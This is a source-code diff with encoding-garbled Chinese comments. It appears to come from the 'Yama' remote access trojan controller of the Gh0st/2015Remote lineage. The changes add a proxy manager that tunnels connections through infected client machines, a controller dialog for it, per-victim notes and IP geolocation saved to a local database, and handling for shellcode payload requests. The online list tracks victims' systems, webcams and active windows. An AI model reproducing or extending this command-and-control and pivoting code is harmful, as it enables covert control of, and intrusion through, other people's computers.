SAFE_DELETE_AR(lpBuffer);
return 0;
}
SOCKET* psock=new SOCKET;
sockaddr_in sockAddr;
int nSockAddrLen;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
SAFE_DELETE_AR(lpBuffer);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
{
if (!m_bUse) return NULL;
CAutoLock locallock(m_cs);
SOCKET* s = list[index];
if ( del) {
if (!s) return s;
closesocket(*s);
SAFE_DELETE(s);
list.erase(index);
}
return s;
}

View File

@@ -0,0 +1,40 @@
#pragma once
#include "Manager.h"
#include <map>
class CProxyManager : public CManager
{
public:
BOOL m_bUse;
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
virtual ~CProxyManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static DWORD __stdcall SocksThread(LPVOID lparam);
static DWORD __stdcall SocksThreadhostname(LPVOID lparam);
DWORD m_nSend;
std::map<DWORD, SOCKET*> list;
SOCKET* GetSocket(DWORD index,BOOL del=FALSE);
CRITICAL_SECTION m_cs;
int Threads;
void AddThread(int n = 1) {
CAutoLock L(m_cs);
Threads += n;
}
void Wait() {
while (GetThread())
Sleep(50);
}
int GetThread() {
CAutoLock L(m_cs);
return Threads;
}
};
struct SocksThreadArg {
CProxyManager* pThis;
LPBYTE lpBuffer;
int len;
};

Binary file not shown.

View File

@@ -23,9 +23,12 @@
#include "InputDlg.h" #include "InputDlg.h"
#include "CPasswordDlg.h" #include "CPasswordDlg.h"
#include "pwd_gen.h" #include "pwd_gen.h"
#include "parse_ip.h"
#include <proxy/ProxyMapDlg.h>
#include "DateVerify.h" #include "DateVerify.h"
#include <fstream> #include <fstream>
#include "common/skCrypter.h" #include "common/skCrypter.h"
#include "common/commands.h"
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
@@ -38,22 +41,6 @@
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1 #define TIMER_CHECK 1
enum
{
ONLINELIST_IP=0, //IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, //<2F><>ַ
ONLINELIST_COMPUTER_NAME, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, //CPU
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_MAX,
};
typedef struct typedef struct
{ {
const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -64,15 +51,17 @@ const int g_Column_Count_Online = ONLINELIST_MAX; //
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{ {
{"IP", 148 }, {"IP", 130 },
{"<EFBFBD>˿<EFBFBD>", 64 }, {"<EFBFBD>˿<EFBFBD>", 60 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<EFBFBD><EFBFBD>ע", 160 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>", 130 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 150 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 120 },
{"CPU", 80 }, {"CPU", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 70 },
{"PING", 100 }, {"PING", 70 },
{"<EFBFBD>", 80 }, {"<EFBFBD>", 90 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 150 }, {"<EFBFBD><EFBFBD>װʱ<EFBFBD><EFBFBD>", 120 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 140 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
}; };
@@ -97,6 +86,52 @@ static UINT Indicators[] =
IDR_STATUSBAR_STRING IDR_STATUSBAR_STRING
}; };
//////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename)
{
std::ofstream outFile(filename, std::ios::binary); // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
if (outFile.is_open()) {
for (const auto& pair : data) {
outFile.write(reinterpret_cast<const char*>(&pair.first), sizeof(ClientKey)); // <20><><EFBFBD><EFBFBD> key
int valueSize = pair.second.GetLength();
outFile.write(reinterpret_cast<const char*>(&valueSize), sizeof(int)); // <20><><EFBFBD><EFBFBD> value <20>Ĵ<EFBFBD>С
outFile.write((char*)&pair.second, valueSize); // <20><><EFBFBD><EFBFBD> value <20>ַ<EFBFBD><D6B7><EFBFBD>
}
outFile.close();
}
else {
Mprintf("Unable to open file '%s' for writing!\n", filename.c_str());
}
}
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename)
{
std::ifstream inFile(filename, std::ios::binary); // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
if (inFile.is_open()) {
while (inFile.peek() != EOF) {
ClientKey key;
inFile.read(reinterpret_cast<char*>(&key), sizeof(ClientKey)); // <20><>ȡ key
int valueSize;
inFile.read(reinterpret_cast<char*>(&valueSize), sizeof(int)); // <20><>ȡ value <20>Ĵ<EFBFBD>С
ClientValue value;
inFile.read((char*)&value, valueSize); // <20><>ȡ value <20>ַ<EFBFBD><D6B7><EFBFBD>
data[key] = value; // <20><><EFBFBD>뵽 map <20><>
}
inFile.close();
}
else {
Mprintf("Unable to open file '%s' for reading!\n", filename.c_str());
}
}
//////////////////////////////////////////////////////////////////////////
class CAboutDlg : public CDialogEx class CAboutDlg : public CDialogEx
{ {
public: public:
@@ -139,6 +174,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE); m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE); m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE); m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
InitializeCriticalSection(&m_cs); InitializeCriticalSection(&m_cs);
} }
@@ -201,11 +238,14 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
ON_WM_HELPINFO() ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster) ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy)
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -380,29 +420,44 @@ std::vector<CString> SplitCString(CString strData) {
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject) CString strCPU, CString strVideo, CString strPing, CString ver,
CString startTime, const std::vector<std::string>& v, CONTEXT_OBJECT * ContextObject)
{ {
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) { if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf(CString("===> '") + strIP + CString("' already exist!!\n")); OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
return; return;
} }
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> LeaveCriticalSection(&m_cs);
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
auto vec = SplitCString(tp.IsEmpty() ? "DLL" : tp); CString install = v[6].empty() ? "?" : v[6].c_str(), path = v[4].empty() ? "?" : v[4].c_str();
tp = vec[0]; CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
m_CList_Online.SetItemText(i,ONLINELIST_ADDR,strAddr); ver, install, startTime, v[0].empty() ? "?" : v[0].c_str(), path };
m_CList_Online.SetItemText(i,ONLINELIST_COMPUTER_NAME,strPCName); auto id = CONTEXT_OBJECT::CalculateID(data);
m_CList_Online.SetItemText(i,ONLINELIST_OS,strOS); bool modify = false;
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU); CString loc = GetClientMapData(id, MAP_LOCATION);
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo); if (loc.IsEmpty()) {
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver); if (!loc.IsEmpty()) {
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st); modify = true;
m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp); SetClientMapData(id, MAP_LOCATION, loc);
CString data[10] = { strIP, strAddr,strPCName,strOS,strCPU,strVideo,strPing,ver,st,tp }; }
}
data[ONLINELIST_LOCATION] = loc;
ContextObject->SetClientInfo(data); ContextObject->SetClientInfo(data);
ContextObject->SetID(id);
EnterCriticalSection(&m_cs);
if (modify)
SaveToFile(m_ClientMap, DB_FILENAME);
auto& m = m_ClientMap[ContextObject->ID];
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
n == ONLINELIST_COMPUTER_NAME ?
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
}
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
@@ -478,6 +533,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>ϵͳ<CFB5>˵<EFBFBD><CBB5>С<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>ϵͳ<CFB5>˵<EFBFBD><CBB5>С<EFBFBD>
SetWindowText(_T("Yama")); SetWindowText(_T("Yama"));
LoadFromFile(m_ClientMap, DB_FILENAME);
// IDM_ABOUTBOX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Χ<EEB7B6>ڡ<EFBFBD> // IDM_ABOUTBOX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Χ<EEB7B6>ڡ<EFBFBD>
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
@@ -786,6 +842,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]); Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0; *pResult = 0;
@@ -1218,6 +1276,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete(); Dlg->OnReceiveComplete();
break; break;
} }
case PROXY_DLG: {
CProxyMapDlg* Dlg = (CProxyMapDlg*)ContextObject->hDlg;
Dlg->OnReceiveComplete();
break;
}
default: { default: {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) { if (hEvent == NULL) {
@@ -1276,6 +1339,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} }
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
{ {
case COMMAND_PROXY:
{
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_HEARTBEAT: case 137: case TOKEN_HEARTBEAT: case 137:
UpdateActiveWindow(ContextObject); UpdateActiveWindow(ContextObject);
break; break;
@@ -1285,7 +1353,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true; bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
int connNum = 0; int connNum = 0;
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease); if (typ == SHELLCODE) {
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
} else {
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
}
char version[12] = {}; char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
SendServerDll(ContextObject, is64Bit); SendServerDll(ContextObject, is64Bit);
@@ -1414,8 +1486,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strVideo = m_settings.DetectSoftware ? "<EFBFBD><EFBFBD>" : LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>"; strVideo = m_settings.DetectSoftware ? "<EFBFBD><EFBFBD>" : LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
strAddr.Format("%d", nSocket); strAddr.Format("%d", nSocket);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, auto v = LoginInfor->ParseReserved(10);
LoginInfor->szReserved,ContextObject); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor; delete LoginInfor;
return S_OK; return S_OK;
}catch(...){ }catch(...){
@@ -1540,8 +1612,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
if (hb.Ping > 0) if (hb.Ping > 0)
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
if (m_settings.DetectSoftware) m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>");
m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>");
return; return;
} }
} }
@@ -1753,6 +1824,20 @@ LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
return 0; return 0;
} }
LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
CProxyMapDlg* Dlg = new CProxyMapDlg(this, m_iocpServer, ContextObject);
Dlg->Create(IDD_PROXY, GetDesktopWindow());
Dlg->ShowWindow(SW_SHOW);
ContextObject->v1 = PROXY_DLG;
ContextObject->hDlg = Dlg;
return 0;
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{ {
MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
@@ -1803,6 +1888,55 @@ void CMy2015RemoteDlg::OnToolAuth()
dlg.DoModal(); dlg.DoModal();
} }
void CMy2015RemoteDlg::OnMainProxy()
{
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos)
{
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
break;
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlineHostnote()
{
CInputDialog dlg(this);
dlg.Init("<EFBFBD>޸ı<EFBFBD>ע", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע: ");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) {
return;
}
if (dlg.m_str.GetLength() >= 64) {
MessageBox("<EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD>Ȳ<EFBFBD><EFBFBD>ܳ<EFBFBD><EFBFBD><EFBFBD>64<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
dlg.m_str = dlg.m_str.Left(63);
}
BOOL modified = FALSE;
uint64_t key = 0;
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ContextObject->ID);
if (f == m_ClientMap.end())
m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str);
else
m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str);
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
modified = TRUE;
}
LeaveCriticalSection(&m_cs);
if (modified) {
EnterCriticalSection(&m_cs);
SaveToFile(m_ClientMap, DB_FILENAME);
LeaveCriticalSection(&m_cs);
}
}
char* ReadFileToBuffer(const std::string &path, size_t& outSize) { char* ReadFileToBuffer(const std::string &path, size_t& outSize) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>

View File

@@ -13,6 +13,60 @@
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0 #define CLIENT_EXIT_WITH_SERVER 0
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#define DB_FILENAME "./YAMA.db"
enum {
MAP_NOTE,
MAP_LOCATION,
};
struct _ClientValue
{
char Note[64];
char Location[64];
char Reserved[128]; // Ԥ<><D4A4>
_ClientValue() {
memset(this, 0, sizeof(_ClientValue));
}
_ClientValue(const CString& loc, const CString& s) {
memset(this, 0, sizeof(_ClientValue));
strcpy_s(Note, s.GetString());
strcpy_s(Location, loc.GetString());
}
void UpdateNote(const CString& s) {
strcpy_s(Note, s.GetString());
}
void UpdateLocation(const CString& loc) {
strcpy_s(Location, loc.GetString());
}
const char* GetNote() const {
return Note;
}
const char* GetLocation() const {
return Location;
}
int GetLength() const {
return sizeof(_ClientValue);
}
};
typedef uint64_t ClientKey;
typedef _ClientValue ClientValue;
typedef std::unordered_map<ClientKey, ClientValue> ComputerNoteMap;
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename);
//////////////////////////////////////////////////////////////////////////
enum enum
{ {
PAYLOAD_DLL_X86 = 0, // 32λ DLL PAYLOAD_DLL_X86 = 0, // 32λ DLL
@@ -23,6 +77,43 @@ enum
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CMy2015RemoteDlg : public CDialogEx class CMy2015RemoteDlg : public CDialogEx
{ {
protected:
ComputerNoteMap m_ClientMap;
CString GetClientMapData(ClientKey key, int typ) {
EnterCriticalSection(&m_cs);
auto f = m_ClientMap.find(key);
CString r;
if (f != m_ClientMap.end()) {
switch (typ)
{
case MAP_NOTE:
r = f->second.GetNote();
break;
case MAP_LOCATION:
r = f->second.GetLocation();
break;
default:
break;
}
}
EnterCriticalSection(&m_cs);
return r;
}
void SetClientMapData(ClientKey key, int typ, const char* value) {
EnterCriticalSection(&m_cs);
switch (typ)
{
case MAP_NOTE:
m_ClientMap[key].UpdateNote(value);
break;
case MAP_LOCATION:
m_ClientMap[key].UpdateLocation(value);
break;
default:
break;
}
EnterCriticalSection(&m_cs);
}
// <20><><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD>
public: public:
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF> CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
